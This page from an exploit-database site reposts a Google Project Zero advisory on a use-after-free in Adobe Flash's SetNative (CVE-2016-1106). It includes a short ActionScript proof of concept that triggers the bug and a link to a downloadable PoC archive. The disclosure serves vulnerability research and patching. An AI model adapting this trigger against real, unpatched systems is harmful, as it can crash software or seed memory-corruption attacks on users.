[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Adobe Flash - SetNative Use-After-Free

Author
Google Security Research
Risk
[
Security Risk High
]
0day-ID
0day-ID-26014
Category
dos / poc
Date add
17-05-2016
CVE
CVE-2016-1106
Platform
windows
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=800
 
There is a use-after-free in SetNative. If a watch is placed on a native that is initialized by SetNative, it can delete the object the set is being called on, leading to a use-after-free. A minimal PoC follows:
 
var t = this.createEmptyMovieClip("t", 1);
t.watch("a", func);
ASSetNative(t, 106, "a,b");
             
             
function func (){
     
    t.removeMovieClip();
     
    }
 
A swf and fla are attached.
 
 
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39831.zip

#  0day.today [2024-12-29]  #